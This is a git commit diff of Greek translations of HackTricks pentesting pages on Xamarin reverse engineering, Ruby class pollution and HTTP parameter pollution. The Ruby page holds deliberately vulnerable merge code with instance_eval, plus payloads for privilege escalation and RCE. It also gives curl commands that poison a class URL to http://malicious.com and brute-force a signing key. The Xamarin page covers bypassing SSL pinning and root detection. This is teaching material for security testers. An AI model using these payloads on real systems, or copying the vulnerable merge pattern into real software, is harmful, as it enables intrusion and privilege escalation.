Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria

This commit is contained in:
Translator 2024-11-05 23:49:03 +00:00
parent 7d95bb562b
commit 946a4628a9
13 changed files with 565 additions and 46 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 153 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

View file

@ -570,6 +570,7 @@
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
* [Email Injections](pentesting-web/email-injections.md)
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)

View file

@ -1,8 +1,8 @@
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,47 +15,51 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Basic Information**
## **Βασικές Πληροφορίες**
Το Xamarin είναι μια **ανοιχτού κώδικα πλατφόρμα** σχεδιασμένη για προγραμματιστές ώστε να **δημιουργούν εφαρμογές για iOS, Android και Windows** χρησιμοποιώντας τα πλαίσια .NET και C#. Αυτή η πλατφόρμα προσφέρει πρόσβαση σε πολυάριθμα εργαλεία και επεκτάσεις για τη δημιουργία σύγχρονων εφαρμογών με αποδοτικότητα.
### Xamarin's Architecture
### Αρχιτεκτονική του Xamarin
- Για **Android**, το Xamarin ενσωματώνεται με τα namespaces Android και Java μέσω των .NET bindings, λειτουργώντας μέσα στο περιβάλλον εκτέλεσης Mono μαζί με το Android Runtime (ART). Οι Managed Callable Wrappers (MCW) και οι Android Callable Wrappers (ACW) διευκολύνουν την επικοινωνία μεταξύ Mono και ART, και οι δύο είναι χτισμένες πάνω στον πυρήνα Linux.
- Για **iOS**, οι εφαρμογές εκτελούνται υπό το runtime Mono, χρησιμοποιώντας πλήρη Ahead of Time (AOT) μεταγλώττιση για να μετατρέψουν τον κώδικα C# .NET σε γλώσσα συναρμολόγησης ARM. Αυτή η διαδικασία εκτελείται παράλληλα με το Objective-C Runtime σε έναν πυρήνα παρόμοιο με το UNIX.
* Για **Android**, το Xamarin ενσωματώνεται με τα namespaces Android και Java μέσω .NET bindings, λειτουργώντας μέσα στο περιβάλλον εκτέλεσης Mono μαζί με το Android Runtime (ART). Τα Managed Callable Wrappers (MCW) και Android Callable Wrappers (ACW) διευκολύνουν την επικοινωνία μεταξύ Mono και ART, και οι δύο είναι χτισμένες πάνω στον πυρήνα Linux.
* Για **iOS**, οι εφαρμογές εκτελούνται υπό το runtime Mono, χρησιμοποιώντας πλήρη Ahead of Time (AOT) μεταγλώττιση για να μετατρέψουν τον κώδικα C# .NET σε γλώσσα συναρμολόγησης ARM. Αυτή η διαδικασία εκτελείται παράλληλα με το Objective-C Runtime σε έναν πυρήνα παρόμοιο με UNIX.
### .NET Runtime and Mono Framework
### .NET Runtime και Mono Framework
Το **.NET framework** περιλαμβάνει assemblies, κλάσεις και namespaces για την ανάπτυξη εφαρμογών, με το .NET Runtime να διαχειρίζεται την εκτέλεση του κώδικα. Προσφέρει ανεξαρτησία από την πλατφόρμα και οπισθοδρομική συμβατότητα. Το **Mono Framework** είναι μια ανοιχτού κώδικα έκδοση του .NET framework, που ξεκίνησε το 2005 για να επεκτείνει το .NET στο Linux, τώρα υποστηριζόμενο από τη Microsoft και καθοδηγούμενο από το Xamarin.
Το **πλαίσιο .NET** περιλαμβάνει assemblies, κλάσεις και namespaces για την ανάπτυξη εφαρμογών, με το .NET Runtime να διαχειρίζεται την εκτέλεση του κώδικα. Προσφέρει ανεξαρτησία από την πλατφόρμα και συμβατότητα προς τα πίσω. Το **Mono Framework** είναι μια ανοιχτού κώδικα έκδοση του πλαισίου .NET, που ξεκίνησε το 2005 για να επεκτείνει το .NET στο Linux, τώρα υποστηριζόμενο από τη Microsoft και καθοδηγούμενο από το Xamarin.
### Reverse Engineering Xamarin Apps
### Αντίστροφη Μηχανική Εφαρμογών Xamarin
#### Decompilation of Xamarin Assemblies
#### Αποσυμπίεση Assemblies του Xamarin
Η αποσυμπίεση μετατρέπει τον μεταγλωττισμένο κώδικα πίσω σε πηγαίο κώδικα. Στα Windows, το παράθυρο Modules στο Visual Studio μπορεί να εντοπίσει modules για αποσυμπίεση, επιτρέποντας άμεση πρόσβαση στον κώδικα τρίτων και εξαγωγή πηγαίου κώδικα για ανάλυση.
#### JIT vs AOT Compilation
#### JIT vs AOT Μεταγλώττιση
- **Android** υποστηρίζει Just-In-Time (JIT) και Ahead-Of-Time (AOT) μεταγλώττιση, με μια υβριδική AOT λειτουργία για βέλτιστη ταχύτητα εκτέλεσης. Η πλήρης AOT είναι αποκλειστική για άδειες Enterprise.
- **iOS** χρησιμοποιεί αποκλειστικά AOT μεταγλώττιση λόγω των περιορισμών της Apple σχετικά με την εκτέλεση δυναμικού κώδικα.
* **Android** υποστηρίζει Just-In-Time (JIT) και Ahead-Of-Time (AOT) μεταγλώττιση, με μια υβριδική AOT λειτουργία για βέλτιστη ταχύτητα εκτέλεσης. Η πλήρης AOT είναι αποκλειστική για άδειες Enterprise.
* **iOS** χρησιμοποιεί αποκλειστικά AOT μεταγλώττιση λόγω των περιορισμών της Apple σχετικά με την εκτέλεση δυναμικού κώδικα.
### Extracting dll Files from APK/IPA
### Εξαγωγή αρχείων dll από APK/IPA
Για να αποκτήσετε πρόσβαση στα assemblies σε ένα APK/IPA, αποσυμπιέστε το αρχείο και εξερευνήστε τον φάκελο assemblies. Για το Android, εργαλεία όπως το [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) και το [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) μπορούν να αποσυμπιέσουν τα αρχεία dll.
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Για τα assembly blobs στο Android, το [pyxamstore](https://github.com/jakev/pyxamstore) μπορεί να τα αποσυμπιέσει.
Σε περιπτώσεις όπου μετά την αποσυμπίεση του APK είναι δυνατή η προβολή του φακέλου unknown/assemblies/ με τα αρχεία `.dll` μέσα σε αυτόν, είναι δυνατή η χρήση του [**dnSpy**](https://github.com/dnSpy/dnSpy) απευθείας πάνω στα `.dlls` για την ανάλυσή τους.\
Ωστόσο, μερικές φορές, βρίσκονται τα αρχεία `assemblies.blob` και `assemblies.manifest` μέσα στον φάκελο unknown/assemblies/. Το εργαλείο [pyxamstore](https://github.com/jakev/pyxamstore) μπορεί να χρησιμοποιηθεί για την αποσυμπίεση του αρχείου `assemblies.blob` σε εφαρμογές Xamarin, επιτρέποντας την πρόσβαση στα .NET assemblies για περαιτέρω ανάλυση:
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
iOS dll αρχεία είναι άμεσα προσβάσιμα για αποσυμπίεση, αποκαλύπτοντας σημαντικά τμήματα του κώδικα της εφαρμογής, ο οποίος συχνά μοιράζεται μια κοινή βάση σε διάφορες πλατφόρμες.
### Στατική Ανάλυση
Μόλις αποκτηθούν τα `.dll`, είναι δυνατή η στατική ανάλυση του κώδικα .Net χρησιμοποιώντας εργαλεία όπως [**dnSpy**](https://github.com/dnSpy/dnSpy) **ή** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **που** θα επιτρέψουν την τροποποίηση του κώδικα της εφαρμογής. Αυτό μπορεί να είναι πολύ χρήσιμο για να παρακάμψετε τις προστασίες, για παράδειγμα.\
Σημειώστε ότι μετά την τροποποίηση της εφαρμογής θα χρειαστεί να την ξανασυσκευάσετε και να την υπογράψετε ξανά.
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο για SSL pinning και τη χρήση εργαλείων όπως το [Fridax](https://github.com/NorthwaveSecurity/fridax) για τροποποιήσεις σε χρόνο εκτέλεσης του .NET δυαδικού σε εφαρμογές Xamarin. Τα σενάρια Frida είναι διαθέσιμα για να παρακάμψουν την ανίχνευση root ή το SSL pinning, ενισχύοντας τις δυνατότητες ανάλυσης.
Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο για SSL pinning και τη χρήση εργαλείων όπως το [Fridax](https://github.com/NorthwaveSecurity/fridax) για τροποποιήσεις σε χρόνο εκτέλεσης του .NET δυαδικού σε εφαρμογές Xamarin. Διαθέσιμα είναι σενάρια Frida για να παρακάμψετε την ανίχνευση root ή το SSL pinning, ενισχύοντας τις δυνατότητες ανάλυσης.
Άλλα ενδιαφέροντα σενάρια Frida:
@ -63,14 +67,19 @@ iOS dll αρχεία είναι άμεσα προσβάσιμα για αποσ
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
### Επαναυπογραφή
Το εργαλείο [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) απλοποιεί την υπογραφή πολλών APK με το ίδιο κλειδί και μπορεί να χρησιμοποιηθεί για να επαναϋπογράψετε μια εφαρμογή μετά από αλλαγές που έχουν γίνει σε αυτήν.
## Περαιτέρω πληροφορίες
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -0,0 +1,441 @@
# Ruby Class Pollution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Αυτή είναι μια περίληψη από την ανάρτηση [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
## Merge on Attributes
Παράδειγμα:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### Εξήγηση
1. **Privilege Escalation**: Η μέθοδος `authorize` ελέγχει αν το `to_s` επιστρέφει "Admin." Με την εισαγωγή ενός νέου χαρακτηριστικού `to_s` μέσω JSON, ένας επιτιθέμενος μπορεί να κάνει τη μέθοδο `to_s` να επιστρέφει "Admin," παρέχοντας μη εξουσιοδοτημένα προνόμια.
2. **Remote Code Execution**: Στο `health_check`, το `instance_eval` εκτελεί μεθόδους που αναφέρονται στα `protected_methods`. Αν ένας επιτιθέμενος εισάγει προσαρμοσμένα ονόματα μεθόδων (όπως το `"puts 1"`), το `instance_eval` θα το εκτελέσει, οδηγώντας σε **remote code execution (RCE)**.
1. Αυτό είναι δυνατό μόνο επειδή υπάρχει μια **ευάλωτη εντολή `eval`** που εκτελεί την τιμή της συμβολοσειράς αυτού του χαρακτηριστικού.
3. **Περιορισμός Επιπτώσεων**: Αυτή η ευπάθεια επηρεάζει μόνο μεμονωμένα παραδείγματα, αφήνοντας άλλα παραδείγματα του `User` και του `Admin` ανεπηρέαστα, περιορίζοντας έτσι την έκταση της εκμετάλλευσης.
### Πραγματικές Περιπτώσεις <a href="#real-world-cases" id="real-world-cases"></a>
### ActiveSupports `deep_merge`
Αυτό δεν είναι ευάλωτο από προεπιλογή αλλά μπορεί να γίνει ευάλωτο με κάτι όπως:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
```
### Hashies `deep_merge`
Η μέθοδος `deep_merge` του Hashie λειτουργεί απευθείας σε χαρακτηριστικά αντικειμένων αντί για απλές καταχωρήσεις. **Αποτρέπει την αντικατάσταση μεθόδων** με χαρακτηριστικά σε μια συγχώνευση με κάποιες **εξαιρέσεις**: χαρακτηριστικά που τελειώνουν με `_`, `!`, ή `?` μπορούν ακόμα να συγχωνευτούν στο αντικείμενο.
Μια ειδική περίπτωση είναι το χαρακτηριστικό **`_`** από μόνο του. Απλά το `_` είναι ένα χαρακτηριστικό που συνήθως επιστρέφει ένα `Mash` αντικείμενο. Και επειδή είναι μέρος των **εξαιρέσεων**, είναι δυνατόν να τροποποιηθεί.
Δείτε το παρακάτω παράδειγμα πώς η παράδοση `{"_": "Admin"}` επιτρέπει την παράκαμψη του `_.to_s == "Admin"`:
```ruby
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
Στο παρακάτω παράδειγμα είναι δυνατόν να βρείτε την κλάση **`Person`**, και τις κλάσεις **`Admin`** και **`Regular`** που κληρονομούν από την κλάση **`Person`**. Έχει επίσης μια άλλη κλάση που ονομάζεται **`KeySigner`**:
```ruby
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
```
### Poison Parent Class
Με αυτό το payload:
{% code overflow="wrap" %}
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
{% endcode %}
Είναι δυνατόν να τροποποιηθεί η τιμή του χαρακτηριστικού **`@@url`** της γονικής κλάσης **`Person`**.
### **Μολύνοντας Άλλες Κλάσεις**
Με αυτό το payload:
{% code overflow="wrap" %}
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
{% endcode %}
Είναι δυνατόν να γίνει brute-force στις καθορισμένες κλάσεις και σε κάποιο σημείο να δηλητηριαστεί η κλάση **`KeySigner`** τροποποιώντας την τιμή του `signing_key` σε `injected-signing-key`.\
## Αναφορές
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,10 @@
# Parameter Pollution
## Parameter Pollution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -19,66 +21,132 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% embed url="https://websec.nl/" %}
## HTTP Parameter Pollution (HPP) Overview
# HTTP Parameter Pollution (HPP) Overview
Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενο τρόπο. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Η επίδραση αυτών των χειρισμών δεν είναι άμεσα ορατή στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενους τρόπους. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Η επίδραση αυτών των χειρισμών δεν είναι άμεσα ορατή στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
## Example of HTTP Parameter Pollution (HPP)
### Example of HTTP Parameter Pollution (HPP)
Μια διεύθυνση URL συναλλαγής τραπεζικής εφαρμογής:
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
* **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Με την προσθήκη μιας επιπλέον παραμέτρου `from`:
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
* **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
Η συναλλαγή μπορεί να χρεωθεί λανθασμένα στο `accountC` αντί για το `accountA`, δείχνοντας τη δυνατότητα της HPP να χειρίζεται συναλλαγές ή άλλες λειτουργίες όπως επαναφορά κωδικού πρόσβασης, ρυθμίσεις 2FA ή αιτήματα API key.
### **Technology-Specific Parameter Parsing**
#### **Technology-Specific Parameter Parsing**
- Ο τρόπος που οι παράμετροι αναλύονται και προτεραιοποιούνται εξαρτάται από την υποκείμενη διαδικτυακή τεχνολογία, επηρεάζοντας το πώς μπορεί να εκμεταλλευτεί η HPP.
- Εργαλεία όπως το [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) βοηθούν στην αναγνώριση αυτών των τεχνολογιών και των συμπεριφορών ανάλυσής τους.
* Ο τρόπος που οι παράμετροι αναλύονται και προτεραιοποιούνται εξαρτάται από την υποκείμενη διαδικτυακή τεχνολογία, επηρεάζοντας το πώς μπορεί να εκμεταλλευτεί η HPP.
* Εργαλεία όπως το [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) βοηθούν στην αναγνώριση αυτών των τεχνολογιών και των συμπεριφορών ανάλυσής τους.
## PHP and HPP Exploitation
### PHP and HPP Exploitation
**OTP Manipulation Case:**
- **Context:** Ένας μηχανισμός σύνδεσης που απαιτεί έναν Κωδικό Μίας Χρήσης (OTP) εκμεταλλεύτηκε.
- **Method:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
- **Outcome:** Ο OTP, που προοριζόταν για το αρχικό email, στάλθηκε αντί για αυτό στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας.
* **Context:** Ένας μηχανισμός σύνδεσης που απαιτεί έναν Κωδικό Μίας Χρήσης (OTP) εκμεταλλεύτηκε.
